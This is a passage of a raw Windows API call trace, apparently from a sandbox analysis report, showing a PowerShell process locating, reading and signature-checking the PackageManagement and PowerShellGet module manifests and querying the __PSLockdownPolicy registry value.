lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0113.844] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0113.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fec6c) returned 1 [0113.844] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c8 [0113.844] GetFileType (hFile=0x3c8) returned 0x1 [0113.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fec68) returned 1 [0113.844] GetFileType (hFile=0x3c8) returned 0x1 [0113.845] GetACP () returned 0x4e4 [0113.848] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59feca8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59feca8*=0) returned 0x0 [0113.848] ReadFile (in: hFile=0x3c8, lpBuffer=0x278ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fecd4, lpOverlapped=0x0 | out: lpBuffer=0x278ee28*, lpNumberOfBytesRead=0x59fecd4*=0x8f9, lpOverlapped=0x0) returned 1 [0113.848] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59feca8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59feca8*=0) returned 0x8f9 [0113.848] ReadFile (in: hFile=0x3c8, lpBuffer=0x278e2c1, nNumberOfBytesToRead=0x307, lpNumberOfBytesRead=0x59fecd4, lpOverlapped=0x0 | out: lpBuffer=0x278e2c1*, lpNumberOfBytesRead=0x59fecd4*=0x0, lpOverlapped=0x0) returned 1 [0113.849] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59feca8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59feca8*=0) returned 0x8f9 [0113.849] ReadFile (in: hFile=0x3c8, lpBuffer=0x278ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fecd4, lpOverlapped=0x0 | out: lpBuffer=0x278ee28*, lpNumberOfBytesRead=0x59fecd4*=0x0, lpOverlapped=0x0) returned 1 [0113.849] CloseHandle (hObject=0x3c8) returned 1 [0113.932] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0113.932] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0113.932] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0113.932] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0113.932] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0113.932] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0113.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fed8c) returned 1 [0113.932] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0113.932] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0113.932] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x59feb3c | out: lpFindFileData=0x59feb3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6fd2a8 [0113.933] FindNextFileW (in: hFindFile=0x6fd2a8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.933] FindNextFileW (in: hFindFile=0x6fd2a8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0113.933] FindNextFileW (in: hFindFile=0x6fd2a8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.933] FindClose (in: hFindFile=0x6fd2a8 | out: hFindFile=0x6fd2a8) returned 1 [0113.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feafc) returned 1 [0113.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fed5c) returned 1 [0113.933] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0113.933] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0113.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feae0) returned 1 [0113.933] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59feda4 | out: lpFileInformation=0x59feda4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0113.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feadc) returned 1 [0113.945] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0113.945] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0113.945] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0113.945] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0113.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feb04) returned 1 [0113.946] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x279db48 | out: lpFileInformation=0x279db48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0113.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feb00) returned 1 [0113.946] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0113.946] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0113.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fec6c) returned 1 [0113.946] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c8 [0113.960] GetFileType (hFile=0x3c8) returned 0x1 [0113.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fec68) returned 1 [0113.960] GetFileType (hFile=0x3c8) returned 0x1 [0113.960] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59feca8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59feca8*=0) returned 0x0 [0113.960] ReadFile (in: hFile=0x3c8, lpBuffer=0x279e920, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fecd4, lpOverlapped=0x0 | out: lpBuffer=0x279e920*, lpNumberOfBytesRead=0x59fecd4*=0x1000, lpOverlapped=0x0) returned 1 [0113.965] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59feca8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59feca8*=0) returned 0x1000 [0113.965] ReadFile (in: hFile=0x3c8, lpBuffer=0x279e920, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fecd4, lpOverlapped=0x0 | out: lpBuffer=0x279e920*, lpNumberOfBytesRead=0x59fecd4*=0xde, lpOverlapped=0x0) returned 1 [0113.965] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59feca8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59feca8*=0) returned 0x10de [0113.965] ReadFile (in: hFile=0x3c8, lpBuffer=0x279e920, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fecd4, lpOverlapped=0x0 | out: lpBuffer=0x279e920*, lpNumberOfBytesRead=0x59fecd4*=0x0, lpOverlapped=0x0) returned 1 [0113.966] CloseHandle (hObject=0x3c8) returned 1 [0113.969] CoCreateGuid (in: pguid=0x59fed14 | out: pguid=0x59fed14*(Data1=0xd661215e, Data2=0xba02, Data3=0x4fa0, Data4=([0]=0x9b, [1]=0x36, [2]=0x8a, [3]=0xaa, [4]=0xea, [5]=0x52, [6]=0xd, [7]=0x84))) returned 0x0 [0113.976] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3c8 [0113.976] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3e8 [0113.976] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3ec [0113.976] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3f0 [0113.976] SetEvent (hEvent=0x3f0) returned 1 [0113.976] SetEvent (hEvent=0x3c8) returned 1 [0113.976] SetEvent (hEvent=0x3e8) returned 1 [0113.976] SetEvent (hEvent=0x3ec) returned 1 [0113.978] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3f4 [0113.978] SetThreadUILanguage (LangId=0x0) returned 0x409 [0114.134] EtwEventActivityIdControl () returned 0x0 [0114.134] EtwEventActivityIdControl () returned 0x0 [0114.134] EtwEventActivityIdControl () returned 0x0 [0114.238] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0114.305] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0114.306] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0114.306] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x59fe64c, Length=0x20, ResultLength=0x59fe6bc | out: SystemInformation=0x59fe64c, ResultLength=0x59fe6bc*=0x0) returned 0xc0000003 [0114.306] GetSystemInfo (in: lpSystemInfo=0x59fe6c8 | out: lpSystemInfo=0x59fe6c8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0114.306] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fe658 | out: phkResult=0x59fe658*=0x3f8) returned 0x0 [0114.307] RegQueryValueExW (in: hKey=0x3f8, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x59fe674, lpData=0x0, lpcbData=0x59fe670*=0x0 | out: lpType=0x59fe674*=0x0, lpData=0x0, lpcbData=0x59fe670*=0x0) returned 0x2 [0114.307] RegCloseKey (hKey=0x3f8) returned 0x0 [0114.312] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0114.312] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0114.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe5d0) returned 1 [0114.313] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f8 [0114.313] GetFileType (hFile=0x3f8) returned 0x1 [0114.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe5cc) returned 1 [0114.313] GetFileType (hFile=0x3f8) returned 0x1 [0114.314] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fe60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fe60c*=0) returned 0x0 [0114.314] ReadFile (in: hFile=0x3f8, lpBuffer=0x27c1f38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fe638, lpOverlapped=0x0 | out: lpBuffer=0x27c1f38*, lpNumberOfBytesRead=0x59fe638*=0x1000, lpOverlapped=0x0) returned 1 [0114.314] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fe60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fe60c*=0) returned 0x1000 [0114.314] ReadFile (in: hFile=0x3f8, lpBuffer=0x27c1f38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fe638, lpOverlapped=0x0 | out: lpBuffer=0x27c1f38*, lpNumberOfBytesRead=0x59fe638*=0xde, lpOverlapped=0x0) returned 1 [0114.314] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fe60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fe60c*=0) returned 0x10de [0114.315] ReadFile (in: hFile=0x3f8, lpBuffer=0x27c1f38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fe638, lpOverlapped=0x0 | out: lpBuffer=0x27c1f38*, lpNumberOfBytesRead=0x59fe638*=0x0, lpOverlapped=0x0) returned 1 [0114.315] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x59fe5a0, Length=0x20, ResultLength=0x59fe610 | out: SystemInformation=0x59fe5a0, ResultLength=0x59fe610*=0x0) returned 0xc0000003 [0114.315] GetSystemInfo (in: lpSystemInfo=0x59fe61c | out: lpSystemInfo=0x59fe61c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0114.315] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fe5ac | out: phkResult=0x59fe5ac*=0x3fc) returned 0x0 [0114.316] RegQueryValueExW (in: hKey=0x3fc, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x59fe5c8, lpData=0x0, lpcbData=0x59fe5c4*=0x0 | out: lpType=0x59fe5c8*=0x0, lpData=0x0, lpcbData=0x59fe5c4*=0x0) returned 0x2 [0114.316] RegCloseKey (hKey=0x3fc) returned 0x0 [0114.316] CloseHandle (hObject=0x3f8) returned 1 [0114.318] CoCreateGuid (in: pguid=0x59fe69c | out: pguid=0x59fe69c*(Data1=0xbdc9a10e, Data2=0x48e8, Data3=0x4d80, Data4=([0]=0xb7, [1]=0xb0, [2]=0x12, [3]=0x8c, [4]=0x1e, [5]=0xca, [6]=0xce, [7]=0xb0))) returned 0x0 [0114.353] QueryPerformanceCounter (in: lpPerformanceCount=0x59fe3fc | out: lpPerformanceCount=0x59fe3fc*=1175533067327) returned 1 [0114.354] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0114.354] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0114.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe0e8) returned 1 [0114.354] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59fe3ac | out: lpFileInformation=0x59fe3ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0114.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe0e4) returned 1 [0114.354] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0114.354] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0114.354] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0114.354] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0114.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe07c) returned 1 [0114.354] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59fe340 | out: lpFileInformation=0x59fe340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0114.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe078) returned 1 [0114.354] CoTaskMemAlloc (cb=0x10) returned 0x74a0f0 [0114.355] CoTaskMemAlloc (cb=0x10) returned 0x74a150 [0114.355] CoTaskMemAlloc (cb=0xb4) returned 0x757b68 [0114.355] CoTaskMemAlloc (cb=0x30) returned 0x733258 [0114.355] WinVerifyTrust () returned 0x800b0100 [0114.366] CoTaskMemFree (pv=0x74a0f0) [0114.366] CoTaskMemFree (pv=0x733258) [0114.366] CryptCATHandleFromStore () returned 0x6e9b20 [0114.366] WTHelperGetProvSignerFromChain () returned 0x0 [0114.366] CoTaskMemAlloc (cb=0x10) returned 0x74a0f0 [0114.366] CoTaskMemAlloc (cb=0x30) returned 0x733258 [0114.366] WinVerifyTrust () returned 0x0 [0114.367] CoTaskMemFree (pv=0x733258) [0114.367] CoTaskMemFree (pv=0x74a0f0) [0114.367] CoTaskMemFree (pv=0x757b68) [0114.367] CoTaskMemFree (pv=0x74a150) [0114.588] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en-us\\powershellget.psd1")) returned 0xffffffff [0114.588] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en\\powershellget.psd1")) returned 0xffffffff [0114.666] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0114.673] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0114.676] GetFullPathNameW (in: lpFileName="C:\\Program Files 